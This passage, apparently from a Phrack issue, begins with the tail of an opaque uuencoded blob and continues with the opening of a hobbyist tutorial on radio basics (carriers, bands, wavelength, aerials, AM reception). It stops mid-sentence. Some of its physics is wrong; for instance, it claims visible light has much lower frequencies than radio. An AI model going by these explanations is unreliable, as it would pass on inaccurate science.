MV0(30^=E/OF1+3`S=%X>E1_9`E-#YV5E^9$M,#=T7HZ7']D"DT/G98SYD2TP
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
<GJ?GZ7EZGIZGY^EY>IZ>I\=X_G^J=K^<`!@&````
`
end
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0b of 0x10
|=---------------------=[ The basics of Radio ]=-------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ shaun2k2 <shaun at rsc dot cx> ]=----------------=|
0 - Introduction
0.1 - Technical Terms
1 - Radio Basics
1.1 - Radio Waves
1.2 - Carrier
1.3 - (RF) Frequency Bands
1.4 - Wavelength
1.5 - Transmission
1.6 - Receiving
2 - AM Radio
2.1 - What is AM Radio?
2.2 - Modulation
2.3 - Demodulation
2.4 - Circuits
2.4.1 - Receivers
2.4.2 - Transmitters
3 - FM Radio
3.1 - What is FM radio?
3.2 - Modulation
3.3 - Demodulation
3.4 - Circuits
4 - Misc
4.1 - Pirate Radio
4.2 - Wireless Telephone Tapping
4.3 - Jamming
5 - Conclusion
6 - Bibliography
--[ 0 - Introduction
Ever since our discovery of radio, in around 1902, we have proceeded
to utilise it for many different purposes -- from sending others short
messages, to transmitting large and critical data sequences to other
computer systems. As time has gone on, as useful a technology as
radio is, it is barely noticed anymore. When most people think of
'radio', they picture a small black device sitting in their car,
which they will use to listen to their local radio stations during car
journeys. On the other hand, very few people realise the true
usefullness of radio, often forgetting that their cellphones,
televisions, satellite TV and alarm systems all too use radio to complete
their task on a very regular medium -- radio is not just that boring
old thing gathering dust in the corner.
This article is divided up into four parts. The first part describes
the basic theory of radio, and examples to illustrate some of the
common day uses of it. In parts two and three, AM and FM radio
details are outlined showing various different circuits to illustrate
how these principles can be applied to real-life, functioning
circuits. Section four is a misc. section, presenting some
miscellaneous interesting points. Some electronics knowledge is
useful in radio, though not totally necessary. Most circuits
presented here are quite rough, and can be greatly improved upon in
many ways.
----[ 0.1 - Technical Terms
Below is a description of technical terms used throughout the article:
RF -- Any frequency within the radio spectrum, which can be
used by to transmit and receive radio signals.
Modulation -- A technique used to package data into a radio signal
which is of use to the destination radio receiver.
AM -- Amplitude Modulation. This involves shifting the amplitude
of a radio signal's carrier very slightly in sympathy with
a modulating signal.
FM -- Frequency Modulation. FM modulation involves shifting the
frequency of a radio wave's carrier very slightly in
sympathy with a modulating signal.
Receiver -- Any device which is capable of receiving radio signals
sent by a radio transmitter.
Transmitter -- A device which can transmit radio waves into the
surrounding environment.
Aerial -- A medium to large piece of wire which is used by either a
radio transmitter or receiver to propagate or detect an
incoming radio signal. In a radio receiver or transmitter,
an aerial acts as one plate of a capacitor, whilst the other
plate is taken place by the Earth.
Antenna -- See aerial.
Wireless -- Refers to any technology which communicates data without the
need for a wired connection. Most wireless devices, such as
cell phones, televisions, and others use radio, but several
do use technologies such as infrared, which is not covered
here.
Radio wave -- A radio wave is an 'electromagnetic' wave, most commonly
containing data to be received by a remote radio receiver.
Oscillator -- Refers to an electronic circuit which 'oscillates', or
'vibrates', to complete a certain task. Oscillators are
used in radio to transmit radio waves at a given
frequency -- the rate at which the oscillator oscillates is
the RF (see RF) at which the wave is transmitted. Common
oscillator circuits, also used in this paper, are LC
oscillator circuits, and crystal-controlled oscillators.
Crystal-controlled
oscillator -- An oscillator circuit whos oscillation frequency is
controlled by a 'crystal'. See oscillator.
LCoscillator -- An oscillator consisting of a capacitor and an inductor,
whos frequency of oscillation is controlled directly by the
capacitor, which is usually variable. See oscillator.
Capacitor -- Device which stores current as an electrical field.
Broadcast -- A term used to describe transmitting radio waves into the
atmosphere.
Wavelength -- The physical distance between two waves on the same
frequency, transmitted successively.
Bands -- Frequency Bands are a range of frequencies used
interchangeably or commonly for the same type of technology.
For example, televisions often use the VHF band.
Frequency -- Number of cycles per seconds. Frequency can be used to
describe how often an oscillator oscillates.
Sidebands -- When modulation of a carrier is applied, two extra
bands are generated, both slightly higher and lower
than the carrier frequency, equating from the 'sum and
difference' of the carrier and audio
frequency. These two bands appear at either end of
the RF carrier, hence the term 'sidebands'.
--[ 1 - Radio Basics
----[ 1.1 - Radio Waves
Radio waves, otherwise referred to as 'radio signals', are simply
electromagnetic waves. Radio waves are transmitted by devices called
'radio transmitters' or 'transmitters' for short. Despite our wide and
many uses for radio waves as a whole, we actually known very little about
'radio'. We do know, however, that radio waves are a form of energy, which
act exactly like they have been propagated as any other type of wave we
know of. For example, an audio wave.
Radio waves are made up of three things; an electric field, a
direction, and a magnetic field.
Despite our underlying ignorance of radio and its properties, we can
predict and use its properties to our advantage to undergo a wide variety
of different tasks -- and will probably do so for a long time to come.
----[ 1.2 - Carrier
An 'RF carrier' can be thought of as the part of the radio wave which
can be modulated to 'carry' a data signal. An analogy to help with
understanding this is to think of turning on a flashlight and pointing it
towards a wall. The light which is seen on the wall is the 'carrier'.
Before and without modulation, the carrier of a radio wave contains no
data, and just contains peaks of an RF voltage.
peak voltage
||\\ ///\ //\\
|| \\ // \\ // \\
|| \\\/ \\\/ \\
RF carrier
Because sending radio waves with a carrier containing no data would be
almost useless, a carrier is 'modulated' to contain data. There are various
modulation schemes in wide use, but the two most common schemes are AM
(Amplitude Modulation) and FM (Frequency Modulation). These are discussed
later.
----[ 1.3 - (RF) Frequency Bands
As we can gather from listening to a variety of radio stations,
different forms of technology use an entirely different 'band' of radio
frequencies on which to send and receive their radio signals.
The entire range in which radio signals are transmitted extends from
around 30KHz, up to about 30GHz. This whole range of available RFs
(Radio Frequencies) is known as the 'radio spectrum'. The radio
spectrum's range of frequencies, and their concurrent uses are shown
in the below table.
+-------------------+----------------------------+---------------------+
| Frequency | Uses | Name |
+-------------------+----------------------------+---------------------+
| 30KHz-300KHz | Long-wave radio, useful | Low Frequency (L.F) |
| | for long distance | |
| | communications | |
+-------------------+----------------------------+---------------------+
| 300KHz-3MHz | Medium wave, local radio | Medium Freq (M.F) |
| | distant radio stations | |
+-------------------+----------------------------+---------------------+
| 3MHz-30MHz | Short wave radio | High (H.F) |
| | Communications | |
| | Amateur radio | |
+-------------------+----------------------------+---------------------+
| 30MHz-300MHz | FM Radio | Very High (V.H.F) |
| | Police radio | |
| | Meteorology Comms | |
+-------------------+----------------------------+---------------------+
| 300MHz-3GHz | Air Traffic Control | Ultra High (U.H.F) |
| | TV | |
+-------------------+----------------------------+---------------------+
| 3GHz-30GHz | Radar Comms | Microwaves (S.H.F) |
| | Satellites | |
| | Telecommunications (TV & | |
| | telephone) | |
+-------------------+----------------------------+---------------------+
Since certain frequency bands are used to accomodate important
communications, such as the VHF band, it became illegal to transmit
radio waves at certain frequencies without a license. It was made so
because transmission of radio signals at important frequencies could
interrupt critical communication, such as communication between police
officers with their radio transmitter devices.
All frequencies within the radio spectrum are invisible to humans.
Light frequencies which are visible to humans, i.e frequencies which
are present in the light spectrum, operate at *much* lower
frequencies.
----[ 1.4 - Wavelength
Wavelength is the physical distance between a peak in one radio wave,
to the peak in another radio wave transmitted successively -- on the same
RF. As a general analogy, the wavelength can be thought of as the distance
that the peak in a given wave will have travelled in the space of time for
one cycle. This can be calculated using the below simple formula.
|\ = V / F
* |\ = lamda
V = Velocity
F = Frequency
Using this formula, the wavelength for an example scenario can be
calculated, when the RF is 27MHz. The speed of light is 300 million
meters/second, which is therefore the velocity of the electromagnetic
wave.
|\ = 300,000,000 / 27,000,000
= 11.11r
Looking at the above calculation, what can be gained? It seems that the
wavelength for waves transmitted in the example scenario is 11.11
(recurring) meters, so from this, it can be gathered that a peak in a
particular radio wave will have travelled 11.11r meters in the time it
took for one oscillation of the transmitting oscillator. But how can we
know how long this oscillation period takes? We can calculate this
using the formula '1 / f'.
1 / 27,000,000 = 0.0000000370r
This means that within the miniscule time frame of 0.0000000370
(recurring) seconds, the peak within the radio wave should have travelled
approximately 11.11 (recurring) meters.
Wavelength might seem quite a useless thing to calculate on its own,
but it comes in very useful when it comes to calculating suitable aerial
lengths for both radio transmitters and radio receivers. As a rule of
thumb, an ideal length for a radio aerial is around 1/2 of the signals
wavelength. This can be calculated very easily.
11.11 / 2 = 5.555 (roughly)
From this calculation, we can gain the knowledge that a near ideal
radio transmitter/receiver aerial can be constructed to be of around 5.5
meters. Exact precision is not generally critical to the overall operation
of the radio transmitter/receiver. For example, where portability of
equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16
of the wavelength in meters is often used for the length of the radio aerial.
11.11 / 4 = 2.7775
11.11 / 8 = 1.38875
11.11 / 16 = 0.694375
From this little experiment we can see that we can turn a length which
is considerably out of question due to portability desires, into a length
which is much more suitable, yet efficiency is not affected too much.
This technique is very commonly employed to calculate sensible lengths
for radio aerials. However, other techniques are also employed, especially
in the case of satillite TV. Notice how TV satillite dishes house tiny
holes in the body of the dish? These holes are specially sized to ensure
that radio waves with wavelengths less than that associated with the
desired RFs (3GHz-30GHz) do not create an electrical current in the aerial
wire, as suitable radio waves do. Holes based upon the same principle can
also be found when looking inside a microwave oven.
----[ 1.5 - Transmission
Perhaps one of the most difficult concepts to grasp in radio is how
radio waves are actually broadcast into the environment. As touched upon
previously, radio waves are transmitted using oscillators in electronic
circuits, and the rate at which the oscillator oscillates is the frequency
at which the radio waves are transmitted.
As an example, we will focus on using an LC tuned oscillator circuit in
the radio transmitter circuit. LC oscillators are made up of an inductor
(L), and a capacitor (C). If we consider how a capacitor stores current,
we can come up with the conclusion that it is stored as an electric field
between two plates -- these two plates make up the capacitor. During one
oscillation (also known as a 'cycle') of the LC tuned circuit, all
available current is stored first in the capacitor as an electric field,
and then as a magnetic field associated with the LC circuit's inductor.
After a *very* short time period (1/f), the magnetic field is turned back
into an electrical current, and begins to recharge the capacitor again.
Because the inductor's magnetic field is beginning to change back into
electrical charge, the inductor turns another electrical field into a
magnetic field in order to counter-act the change. This continuous cycle of
quick changes keeps the current in the LC circuit flowing in the same
direction, driven by the current stored in the inductor. When the
inductor's charge eventually becomes zero, the capacitor becomes charged
again, but with the opposite polarity. After each oscillation (cycle),
energy loss has occured, but not all of the energy loss can be accounted
for as energy lost as heat from the inductor's coil. Thus, we can gather
that some energy has been 'leaked' from between the capacitor's plates, as
electromagnetic energy -- radio waves.
If we consider this, we can conclude that the further apart the plates
in the capacitor are, the more energy is broadcast ('leaked') as radio
waves. This must mean that if we have a capacitor with plates spaced
1 meter apart, more energy will be broadcast as radio waves than if the
capacitor had plates spaced a very small distant apart. By thinking even
deeper, we can conclude that to maximise 'leakage' of radio energy, a
capacitor is needed in the LC tuned oscillator circuit with plates spaced
at quite a distance apart. It just so happens that for this task, to
maximise broadcast of radio waves, the world's largest plate can be used
to take the place of one plate of the capacitor -- the Earth! The other
capacitor plate needs just be a suitably lengthed piece of wire, which is
an equally common sight -- this piece of wire is known as an 'aerial'!
In real-world radio transmitters, oscillator circuits are used to make
a small current 'oscillate' in an aerial wire. Because of the constant
change of energy form in the oscillator circuit, the current oscillating in
the length of the wire becomes electromagnetic and is radiated as radio energy.
Back to the length of the aerial in relation to wavelength; this is
where the length calculated earlier comes in handy. From the knowledge
gained here, we can assume an adapted LC oscillator circuit as below.
Capacitor Inductor
________________
| )
| )
--- )____________ Aerial
--- )
| )
|________________)
As a concept, using the adapted LC tuned oscillator circuit above, the
transmission of radio waves can be thought of like this; radio waves are
generated due to the propagation of an electric current in an aerial wire.
It is, as we have learnt, the 'leakage' of electromagnetic energy from
between the two plates of the capacitor which causes broadcasting of radio
waves.
As oscillations occur in our LC tuned circuit, all available energy is
stored in the capacitor, followed by energy (electrical current) not leaked
as electromagnetic waves being fed into the inductor. This whole process
measures one oscillation, and once one oscillation is over, the whole
process repeats itself again, and each time energy is being lost as radio
waves from the acting 'capacitor' (aerial and Earth). Therefore, it is the
rate at which the LC circuit is oscillating (the 'frequency') at that
determines the frequency at which the radio waves are broadcast at -- thus
determining the RF of the radio signals.
----[ 1.6 - Receiving
The concept of receiving radio signals is based upon almost the opposite
of the concepts of transmitting radio waves. In similarity to radio
transmitters, radio receivers also use an aerial, but for a totally
different purpose; for detecting the radio signals in the environment. As
described previously, radio waves are a form of energy, propagated as
electromagnetic waves through the air. Thus, when radio signals transmitted
by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF
alternating current is generated in the aerial wire. When a signal becomes
present in the aerial wire, 'wanted' radio frequencies are 'selected' from
the assortment of RF currents in the aerial, using a 'tuned circuit'.
As an example, we'll focus on the LC tuned circuit as in the previous
section, due to the simplicity of this circuit. RF current of the 'wanted'
frequency can be selected from amongst the other RFs by use of an LC tuned
circuit, which is set to resonate at the frequency of the 'wanted' radio
frequency. This selection is done because the LC tuned circuit has low
impedance at any frequencies other than the 'wanted' frequency. Frequencies
other than the 'wanted' frequency are prevented from passing through the
circuit because they are 'shorted out' due to low impedance of the LC
circuit at any other frequency than the resonant frequency (the frequency
of the 'wanted' signals).
Following the selection of correct radio frequencies from the other RF
signals, the radio receiver will usually amplify the signal, ready for
demodulating. The technique which is adapted by the receiver for
demodulating the radio signal into the modulating signal is totally
dependant on the type of modulation being used in the received radio
wave. In the case of an AM radio receiver, a selected signal will be
'rectified' and thus demodulated, using a low-drop germanium diode. This
process basically turns the alternating RF current back into a direct DC
current, which represents the power strength of the AM signal. Next, the
RF component is generally removed by using a capacitor. The output product
of this process is a recovered modulating signal which can be fed to a pair
of high impedance headphones. The diagram below represents how the
selected RF current is rectified by the diode.
||\\ //\\ ----------------------|>|--------------- ||\\ //\\
|| \\|| \\ || \\|| \\
\/\/\/\/\/\/
AM Modulated Carrier diode Modulating signal
(RF carrier present)
After being rectified by the diode, the AM radio signal is still not
suitable to be fed to an audio output, as the RF carrier is still present.
The RF carrier can be removed by using a single capacitor.
| |
||\\ //\\ ------------------------| |--------------------- /\ /\
|| \\|| \\ | | / \/ \
Modulating signal capacitor Modulating signal
(RF carrier removed)
The output of the capacitor is a recovered modulating audio waveform
which is suitable for passing to an audio output device, such as a set
of headphones with a high impedance.
This technique is likely to be the simplest way to create an AM radio
receiver, commonly known as the 'crystal set', used by the mass in the
1920s. Other receivers are more often used to produce a higher quality of
audio output, such as TRFs (Tuned Radio Receivers) and Superhetrodyne
receivers.
The whole system model of a radio receiver at its most basic level can
be thought of as the below diagram.
Modulated Radio Signal
(electric current generated in aerial wire by radio wave)
|
\|/
Signal amplified
|
\|/
Signal demodulated
|
\|/
Modulating signal
Although the techniques and components needed to achieve each step of
the diagram are different, most receivers stick to this sort of system.
Other types of receivers and their circuits are discussed more indeph in
the section they are related to.
--[ 2 - AM Radio
----[ 2.1 - What is AM Radio?
AM Radio refers to any form of technology which makes use of Amplitude
Modulation to modulate the 'carrier' with information. To package a radio
wave with often complex signals, the carrier of a radio wave is shifted in
power very slightly in sympathy with a modulating audio or data signal.
Next to morse code, AM is one of the simplest forms of modulation, and with
this, comes its disadvantages.
----[ 2.2 - Modulation
AM Modulation involves nothing more than shifting the power of a radio
wave's carrier by tiny amounts, in sympathy with a modulating signal.
Amplitude, as you probably already knew, is just another word for 'power'.
The simplicity of AM modulation can be demonstrated with a simple
diagram like the one below.
||\\ ///\ //\\
|| \\ // \\ // \\ ---> \ /\ / ---> \\ \\
|| \\\/ \\\/ \\ \/ \/ \\ ///\\
\\// \\
RF Carrier Modulating signal AM signal
As you can hopefully make out from the diagrams, whenever the
modulating signal (the signal which we are modulating) increases in
voltage, the amplitude (power) of the RF carrier is increased in sympathy
with the modulating signal. When the voltage of the modulating signal
declines in voltage, the opposite of above happens. After AM modulating
the carrier, the signal has usually twice the 'bandwidth' of the original
modulating signal.
----[ 2.3 - Demodulation
When an AM designed radio receives a radio wave, as previously noted,
a small RF alternating current is generated in the aerial wire. Because of
the AM modulation of the carrier applied by the sending transmitter, the
voltages in the carrier are larger and smaller than each other, but in
equal and opposite amounts. As a result, to recover the modulating signal,
either the positive or the negative part of the modulated signal must be
removed. In the simplest AM radio receivers, the modulated signal can be
